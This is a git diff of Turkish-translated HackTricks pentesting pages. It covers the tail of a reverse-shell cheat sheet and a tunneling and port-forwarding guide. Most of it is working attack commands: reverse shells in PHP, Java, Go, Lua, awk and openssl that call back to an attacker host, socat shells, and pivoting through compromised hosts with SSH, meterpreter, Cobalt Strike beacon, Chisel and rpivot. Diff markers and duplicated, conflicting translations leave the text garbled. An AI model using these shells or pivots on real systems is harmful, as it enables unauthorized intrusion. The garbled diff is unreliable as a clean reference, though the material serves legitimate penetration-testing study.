PHP, Hypertext Preprocessor'ın kısaltmasıdır ve genellikle web geliştirme için kullanılan bir betik dili olarak bilinir. PHP, sunucu taraflı bir dil olduğundan, sunucuda çalıştırılır ve HTML içine gömülebilir. Dinamik web sayfaları oluşturmak için sıklıkla kullanılır ve veritabanı işlemleri gibi çeşitli görevleri yerine getirebilir.
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -176,7 +186,7 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```
## Java
Java, Oracle Corporation tarafından geliştirilen ve genellikle çok platformlu uygulamalar oluşturmak için kullanılan bir programlama dilidir. Java, nesne yönelimli bir dil olup, güvenlik, taşınabilirlik ve performans gibi özellikleriyle öne çıkar. Java uygulamaları genellikle Java Sanal Makinesi (JVM) üzerinde çalıştırılır.
Java, Oracle Corporation tarafından geliştirilen ve popüler bir programlama dilidir. Java, nesne yönelimli, sınıf tabanlı ve platform bağımsız bir dildir. Java, genellikle büyük ölçekli uygulamaların geliştirilmesinde tercih edilir ve mobil uygulamalardan büyük veri işleme sistemlerine kadar çeşitli alanlarda kullanılır. Java, geniş kütüphaneleri ve güvenliği ile bilinir.
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
@ -189,13 +199,40 @@ attacker> ncat -v 10.0.0.22 4444 --ssl
```
## Golang
Go programlama dili, Google tarafından geliştirilen ve genel amaçlı bir dil olan Go'nun resmi adıdır. Geliştiriciler tarafından sıklıkla kullanılan bir dil olup, hızlı ve verimli bir şekilde çalışır.
### Linux
#### Reverse Shell
Reverse shell almak için Go programlama dili kullanarak bir reverse shell yazabilirsiniz. Bu, hedef bir Linux makinesine bağlanmanıza olanak tanır.
```go
package main
import (
"fmt"
"net"
"os/exec"
)
func main() {
conn, _ := net.Dial("tcp", "hedef_ip:port")
for {
cmd := exec.Command("/bin/sh", "-i")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
_ = cmd.Run()
}
}
```
Bu kod, hedef IP adresi ve port numarasını değiştirmeniz gereken basit bir reverse shell örneğidir.
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
Lua, bir betik dili ve hafif bir çoklu programlama dilidir. Lua, C programlama diline benzer bir sözdizimine sahiptir ve C ile kolayca entegre edilebilir. Lua, özellikle oyun geliştirme endüstrisinde popülerdir ve birçok oyun motoru tarafından desteklenmektedir. Lua'nın basit ve esnek yapısı, hızlı prototipleme ve betik yazma için idealdir. Lua, genellikle gömülü sistemlerde, web sitelerinde ve diğer uygulamalarda kullanılır.
Lua, bir betik dili ve hafif bir çoklu programlama dilidir. Lua, C programlama diline benzer bir sözdizimine sahiptir ve C ile kolayca entegre edilebilir. Lua, oyun geliştirme endüstrisinde ve diğer uygulama alanlarında sıkça kullanılmaktadır. Lua, basit ve hızlı bir şekilde öğrenilebilir ve genellikle betik dili olarak kullanılır. Lua, esnek bir dil olup, farklı programlama paradigmasını destekler. Lua, açık kaynak kodlu bir projedir ve aktif bir topluluğa sahiptir.
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -253,9 +290,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
### Kurban
Kurban, saldırganın hedef aldığı kişidir. Saldırgan, kurbanın sistemine erişmek veya hassas bilgilere ulaşmak için çeşitli yöntemler kullanabilir. Kurban genellikle saldırıdan habersizdir ve saldırganın amacına ulaşmasını kolaylaştırmak için güvenlik önlemleri almalıdır.
Kurban
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -279,7 +314,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
Awk, Linux'ta sıkça kullanılan bir metin işleme aracıdır. Metin dosyalarını satır satır okuyarak belirli koşullara uyan satırları işleyebilir ve istenilen çıktıyı üretebilir. Awk, komut satırında kullanılan bir araçtır ve genellikle diğer komutlarla birlikte zincirleme olarak kullanılır. Awk'ın gücü, metin işleme ve veri çıkarma işlemlerinde yatmaktadır.
Awk, Linux'ta sıkça kullanılan bir komut satırı aracıdır. Metin dosyalarını işlemek için kullanılır ve genellikle metin işleme ve veri çıkarma işlemlerinde kullanılır. Awk, metin dosyalarını satır satır okur, belirli desenlere göre satırları işler ve belirli eylemler gerçekleştirir. Awk, komut satırında kullanıldığında oldukça güçlü ve esnek bir araçtır.
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
@ -291,7 +326,7 @@ while true; do nc -l 79; done
```
Komutu göndermek için yazın, enter tuşuna basın ve CTRL+D'ye basın (STDIN'i durdurmak için)
**Kurban**
**Hedef**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
@ -301,7 +336,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
### Gawk
Gawk, GNU awk'ın bir uygulamasıdır. Gawk, metin işleme ve veri çıkarma için güçlü bir araçtır. Gawk, genellikle metin dosyalarını işlemek için kullanılır ve metin dosyalarındaki belirli desenleri aramak ve işlemek için kullanışlıdır. Gawk, komut satırı tabanlı bir araçtır ve genellikle betik dosyaları oluşturmak için kullanılır. Betikler, metin dosyalarındaki verileri işlemek için kullanılır ve Gawk'ın esnekliği sayesinde karmaşık metin işleme görevleri gerçekleştirmek için kullanılabilir.
Gawk, GNU Project tarafından geliştirilen bir metin işleme dili ve programlama ortamıdır. Genellikle metin dosyalarını işlemek için kullanılır. Gawk, Linux sistemlerinde sıkça kullanılan bir araçtır ve metin işleme, veri çıkarma ve raporlama gibi görevler için oldukça güçlü bir araçtır. Gawk'ın esnek ve güçlü bir dil olması, onu birçok farklı senaryoda kullanılabilir kılar.
```bash
#!/usr/bin/gawk -f
@ -330,7 +365,7 @@ Bu, sistemize 6001 numaralı porta bağlanmaya çalışacaktır:
```bash
xterm -display 10.0.0.1:1
```
Ters kabuğu yakalamak için şunu kullanabilirsiniz (6001 numaralı bağlantı noktasında dinleyecek):
Ters kabuk yakalamak için kullanabilirsiniz (port 6001'de dinleyecek):
```bash
# Authorize host
xhost +targetip
@ -353,16 +388,22 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

File diff suppressed because one or more lines are too long

View file

@ -2,25 +2,33 @@
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** üzerinden PR'lar gönderin.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Nmap ipucu
{% hint style="warning" %}
**ICMP** ve **SYN** taramaları socks proxy üzerinden tünellenemez, bu yüzden bunun çalışması için **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve **TCP taramalarını** (`-sT`) belirtmeliyiz.
**ICMP** ve **SYN** taramaları socks proxy'ler aracılığıyla tünellenemez, bu nedenle bu işlem için **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve **TCP taramalarını belirtmeliyiz** (`-sT`).
{% endhint %}
## **Bash**
**Host -> Jump -> InternalA -> InternalB**
**Ana Bilgisayar -> Atlama -> DahiliA -> DahiliB**
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
@ -44,7 +52,7 @@ ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Yerel Port2Port
SSH Sunucusunda yeni bir port açın --> Diğer port
Yeni bir Port açın SSH Sunucusu --> Diğer port
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
@ -62,13 +70,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
Yerel Port --> Kompromize edilmiş ana bilgisayar (SSH) --> Herhangi bir yer
Yerel Port --> Kompromize edilmiş ana makine (SSH) --> Herhangi bir yer
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### Ters Port Yönlendirme
Bu, iç ağdaki sunuculardan ters kabuk almak için DMZ üzerinden ana bilgisayarınıza yararlı olabilir:
Bu, iç ağdaki ana bilgisayarlar üzerinden bir DMZ aracılığıyla ters kabuk almak için kullanışlıdır:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -79,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tünel
Her iki cihazda da **root erişimi** gereklidir (yeni arayüzler oluşturacağınız için) ve sshd yapılandırması root girişine izin vermelidir:\
Her iki cihazda da **root yetkisine** ihtiyacınız var (yeni arayüzler oluşturacağınız için) ve sshd yapılandırmasının root girişine izin vermesi gerekmektedir:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -89,30 +97,18 @@ ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```
Sunucu tarafında yönlendirmeyi etkinleştirin
```bash
sysctl -w net.ipv4.ip_forward=1
```
veya
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
```
Bu, sunucunun paketleri başka bir ağ arabirimine yönlendirmesine izin verir.
Sunucu tarafında yönlendirmeyi etkinleştirin.
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
Müşteri tarafında yeni bir rota belirleyin.
Müşteri tarafında yeni bir rota ayarlayın.
```
route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Bir ana bilgisayar üzerinden bir alt ağa yönlendirme yaparak tüm trafiği ssh ile tünelleyebilirsiniz.\
Bir ana makine üzerinden bir alt ağa tüm trafiği **ssh** ile **tünelleyebilirsiniz**.\
Örneğin, 10.10.10.0/24'e giden tüm trafiği yönlendirebilirsiniz.
```bash
pip install sshuttle
@ -127,18 +123,14 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
### Port2Port
Yerel port --> Kompromize edilmiş ana bilgisayar (aktif oturum) --> Üçüncü\_kutu:Port
Yerel port --> Kompromize edilmiş ana makine (aktif oturum) --> Üçüncü\_kutu:Port
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
SOCKS (Socket Secure) protokolü, ağ trafiğini bir ağdaki bir cihazdan diğerine yönlendirmek için kullanılan bir protokoldür. SOCKS, TCP/IP tabanlı uygulamaların güvenli bir şekilde çalışmasını sağlar ve ağ trafiğini güvenli bir şekilde yönlendirmek için bir proxy sunucusu kullanır. SOCKS, port yönlendirme ve tünel oluşturma gibi özellikleri destekler ve genellikle VPN bağlantıları ve anonim internet erişimi için kullanılır.
### SOCKS
SOCKS protokolü, bir istemci-sunucu modeline dayanır. İstemci, SOCKS sunucusuna bağlanır ve hedef sunucuya erişmek için SOCKS sunucusunu kullanır. SOCKS sunucusu, istemcinin kimliğini doğrular ve ardından istemcinin taleplerini hedef sunucuya ileterek trafiği yönlendirir.
SOCKS, TCP ve UDP trafiğini destekler ve genellikle web tarayıcıları, e-posta istemcileri ve diğer ağ uygulamaları tarafından kullanılır. SOCKS proxy sunucusu, istemci cihazın IP adresini gizleyerek anonimlik sağlar ve internete erişimi sınırlı olan ağlarda kullanılabilir.
SOCKS, güvenli bir şekilde ağ trafiğini yönlendirmek için kullanılan etkili bir protokoldür. Ancak, güvenlik açıkları ve zayıflıklar da içerebilir, bu nedenle SOCKS proxy sunucusu kullanırken dikkatli olunmalıdır.
SOCKS, yani "Socket Secure", ağ trafiğini bir ağ üzerinden yönlendirmek için kullanılan bir protokoldür. SOCKS sunucuları, istemci isteklerini alır ve hedef sunuculara iletmek için bağlantıları yönlendirir. Bu, ağ trafiğini gizlemek ve coğrafi kısıtlamaları aşmak için kullanılabilir.
```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
@ -146,7 +138,23 @@ use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
Başka bir yöntem:
### Tunneling and Port Forwarding
Tunneling is a method that allows data to be transferred securely over an insecure network. It involves encapsulating the data in another protocol to create a secure communication channel. Port forwarding is a technique that allows a computer's port to be accessed from another computer over the network. It can be used to bypass firewalls or NAT devices.
#### Tunneling Techniques
1. **SSH Tunneling**: Secure Shell (SSH) can be used to create encrypted tunnels for secure data transfer.
2. **VPN Tunneling**: Virtual Private Networks (VPNs) create secure tunnels for remote access to a private network.
3. **HTTP Tunneling**: HTTP can be used to tunnel other application protocols through its connection.
#### Port Forwarding Tools
1. **Netcat**: A versatile networking utility that can create TCP and UDP connections.
2. **Htunnel**: A tool for port forwarding that can bypass firewalls and NAT devices.
3. **Socat**: A command-line utility that establishes two bidirectional byte streams and transfers data between them.
By understanding and utilizing tunneling and port forwarding techniques, hackers can bypass network restrictions and securely transfer data over insecure networks.
```bash
background #meterpreter session
use post/multi/manage/autoroute
@ -163,7 +171,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
Beacon üzerinden trafiği yönlendirmek için kullanılabilecek tüm arayüzlerde dinleyen bir port açın.
Takım sunucusunda dinleyen bir port açın ve **trafiği beacon üzerinden yönlendirmek için kullanılabilen tüm arayüzlerde dinlemeye başlayın**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -174,24 +182,25 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
{% hint style="warning" %}
Bu durumda, **port, beacon ana bilgisayarında açılır**, Takım Sunucusunda değil ve trafik Takım Sunucusuna gönderilir ve oradan belirtilen hedef:porta yönlendirilir.
Bu durumda, **liman, işaretçi ana bilgisayarında açılır**, Takım Sunucusunda değil ve trafik Takım Sunucusuna gönderilir ve oradan belirtilen ana bilgisayar:limana yönlendirilir.
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
```markdown
Not:
- Beacon'ın ters port yönlendirmesi, bireysel makineler arasında iletim yapmak için değil, trafikyi Takım Sunucusuna tünelleme amacıyla tasarlanmıştır.
- Trafik, P2P bağlantılar dahil olmak üzere Beacon'ın C2 trafiği içinde tünellenir.
- Yüksek portlarda ters port yönlendirmeleri oluşturmak için **yönetici ayrıcalıkları gerekli değildir**.
- Beacon'ın ters port yönlendirmesi, bireysel makineler arasında iletim için değil, **Takım Sunucusuna trafik yönlendirmek üzere tasarlanmıştır**.
- Trafik, P2P bağlantıları da içeren **Beacon'ın C2 trafiği içinde tünellenir**.
- Yüksek portlarda ters port yönlendirmeleri oluşturmak için **Yönetici ayrıcalıklarına ihtiyaç duyulmaz**.
### rPort2Port yerel
{% hint style="warning" %}
Bu durumda, **port Beacon ana bilgisayarında açılır**, Takım Sunucusunda değil ve trafik, Cobalt Strike istemcisine (Takım Sunucusuna değil) ve oradan belirtilen ana bilgisayar:port'a gönderilir.
Bu durumda, **port Beacon ana bilgisayarında açılır**, Takım Sunucusunda değil ve trafik **Cobalt Strike istemcisine gönderilir** (Takım Sunucusuna değil) ve oradan belirtilen ana makine:port'a yönlendirilir.
{% endhint %}
```
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
@ -199,14 +208,14 @@ rportfwd_local stop [bind port]
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
Bir web dosyası tüneli yüklemeniz gerekmektedir: ashx|aspx|js|jsp|php|php|jsp
Web dosya tüneli yüklemeniz gerekmektedir: ashx|aspx|js|jsp|php|php|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
## Chisel
Chisel'i [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) adresindeki sürümler sayfasından indirebilirsiniz.\
**İstemci ve sunucu için aynı sürümü kullanmanız gerekmektedir.**
[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)ın yayınlar sayfasından indirebilirsiniz.\
İstemci ve sunucu için **aynı sürümü kullanmanız gerekmektedir**
### socks
```bash
@ -218,18 +227,6 @@ Chisel'i [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
### Port yönlendirme
Port yönlendirme, bir ağdaki bir cihazın belirli bir portundaki trafiği başka bir cihaza yönlendirmek için kullanılan bir yöntemdir. Bu, ağdaki cihazların belirli bir hizmete erişmesini sağlar. Port yönlendirme, ağ güvenlik duvarları ve NAT (Network Address Translation) gibi ağ yapılandırmalarını aşmak için kullanılabilir.
Port yönlendirme, yerel bir ağdaki bir cihazın dış ağdaki bir hizmete erişmesini sağlamak için de kullanılabilir. Örneğin, bir ev ağındaki bir bilgisayarın, internet üzerindeki bir sunucuya bağlanmasını sağlamak için port yönlendirme kullanılabilir.
Port yönlendirme genellikle aşağıdaki iki yöntemle gerçekleştirilir:
1. **Local Port Forwarding (Yerel Port Yönlendirme):** Yerel bir cihazın belirli bir portundaki trafiği başka bir cihaza yönlendirir. Bu yöntem, bir yerel ağdaki bir cihazın dış ağdaki bir hizmete erişmesini sağlar.
2. **Remote Port Forwarding (Uzak Port Yönlendirme):** Uzak bir cihazın belirli bir portundaki trafiği başka bir cihaza yönlendirir. Bu yöntem, bir dış ağdaki bir cihazın yerel ağdaki bir hizmete erişmesini sağlar.
Port yönlendirme, birçok farklı senaryoda kullanılabilir ve birçok farklı protokolü destekler. Bu yöntem, ağ güvenliği testleri ve uzaktan erişim gibi birçok uygulama için önemlidir.
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
@ -238,8 +235,8 @@ Port yönlendirme, birçok farklı senaryoda kullanılabilir ve birçok farklı
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
Ters tünel. Tünel, kurban tarafından başlatılır.\
127.0.0.1:1080 üzerinde bir socks4 proxy oluşturulur.
Ters tünel. Tünel kurban tarafından başlatılır.\
127.0.0.1:1080 üzerinde bir socks4 vekil sunucu oluşturulur.
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
@ -247,18 +244,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
**NTLM proxy** üzerinden geçiş yapma
NTLM proxy üzerinden geçiş yapmak, bir ağda hedefe erişmek için kullanılan bir yöntemdir. Bu yöntem, bir ara sunucu (proxy) kullanarak hedefe doğrudan erişim sağlamak yerine, ara sunucu üzerinden geçiş yapmayı içerir. NTLM proxy, NTLM kimlik doğrulama protokolünü kullanarak kullanıcı kimlik bilgilerini doğrular ve hedef sunucuya erişim sağlar.
Bu yöntemi kullanarak, hedef sunucuya erişmek için aşağıdaki adımları izleyebilirsiniz:
1. NTLM proxy sunucusuna bağlanın.
2. NTLM kimlik doğrulama protokolünü kullanarak kimlik bilgilerinizi doğrulayın.
3. Proxy sunucusu üzerinden hedef sunucuya yönlendirilen bir tünel oluşturun.
4. Oluşturulan tünel üzerinden hedef sunucuya erişim sağlayın.
Bu yöntem, hedef sunucuya doğrudan erişim sağlayamadığınız durumlarda kullanışlı olabilir. NTLM proxy üzerinden geçiş yaparak, ağdaki güvenlik duvarlarını aşabilir ve hedef sunucuya erişim sağlayabilirsiniz. Ancak, bu yöntemi kullanırken dikkatli olmalı ve yasal izinler çerçevesinde hareket etmelisiniz.
**NTLM proxy** üzerinden pivot yapın
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -275,93 +261,22 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
```
A reverse shell is a technique used in hacking to establish a connection between the attacker's machine and the target machine. This allows the attacker to gain control over the target machine and execute commands remotely.
To create a reverse shell, the attacker first needs to set up a listener on their machine. This can be done using tools like Netcat or Metasploit. The listener will wait for a connection from the target machine.
Next, the attacker needs to execute a payload on the target machine that will connect back to the listener. This can be done by exploiting vulnerabilities in the target system or by tricking the user into running a malicious script or executable.
Once the connection is established, the attacker can interact with the target machine's command prompt and execute commands as if they were physically present on the machine. This allows them to perform various malicious activities, such as stealing sensitive data, installing malware, or pivoting to other machines on the network.
Reverse shells are commonly used in post-exploitation scenarios during penetration testing or in real-world attacks to maintain persistent access to a compromised system. They provide a covert way for attackers to control the target machine without being detected.
### Ters Kabuk
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
Port2Port is a technique used to establish a direct connection between two network ports. This technique is commonly used in situations where direct communication between two hosts is not possible due to network restrictions or firewalls.
### Port2Port
To set up a Port2Port connection, a tunneling protocol is used. This protocol encapsulates the data from one port and sends it to the other port through an intermediate server. The intermediate server acts as a mediator, forwarding the data between the two ports.
Port2Port can be used for various purposes, such as bypassing network restrictions, accessing services on a remote network, or creating secure connections between two hosts. It is commonly used in scenarios where traditional methods like port forwarding or VPNs are not feasible.
To establish a Port2Port connection, you need to follow these steps:
1. Set up an intermediate server that will act as the mediator between the two hosts.
2. Configure the server to allow incoming connections on the desired port.
3. On the source host, establish a connection to the intermediate server using a tunneling protocol.
4. On the destination host, establish a connection to the intermediate server using the same tunneling protocol.
5. Once the connections are established, data can be exchanged between the two hosts through the intermediate server.
Port2Port is a versatile technique that can be used in various scenarios to establish direct connections between network ports. It provides a flexible solution for bypassing network restrictions and accessing services on remote networks.
### Port2Port
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```
### Socks üzerinden Port2Port
Bir hedef sunucuya doğrudan erişim sağlamak mümkün olmadığında, port yönlendirme (port forwarding) tekniklerini kullanarak hedef sunucuya erişim sağlamak mümkündür. Bu tekniklerden biri de socks üzerinden port yönlendirme yapmaktır.
Socks, ağ trafiğini yönlendirmek için kullanılan bir protokoldür. Socks proxy sunucusu, istemci cihazın ağ trafiğini alır ve hedef sunucuya iletmek için kullanılır. Bu sayede, hedef sunucuya doğrudan erişim sağlamak yerine, trafiği socks proxy sunucusu üzerinden yönlendirerek hedef sunucuya erişim sağlanır.
Port yönlendirme işlemi için, bir socks proxy sunucusuna bağlanarak istemci cihazın yerel bir portunu hedef sunucunun belirli bir portuna yönlendirmek gerekmektedir. Bu sayede, istemci cihaz üzerinden yapılan bağlantılar socks proxy sunucusu üzerinden hedef sunucuya iletilir.
Port yönlendirme işlemi için aşağıdaki adımları izleyebilirsiniz:
1. Bir socks proxy sunucusuna bağlanın.
2. İstemci cihazınızın yerel bir portunu hedef sunucunun belirli bir portuna yönlendirin.
3. İstemci cihazınız üzerinden yapılan bağlantılar socks proxy sunucusu üzerinden hedef sunucuya iletilir.
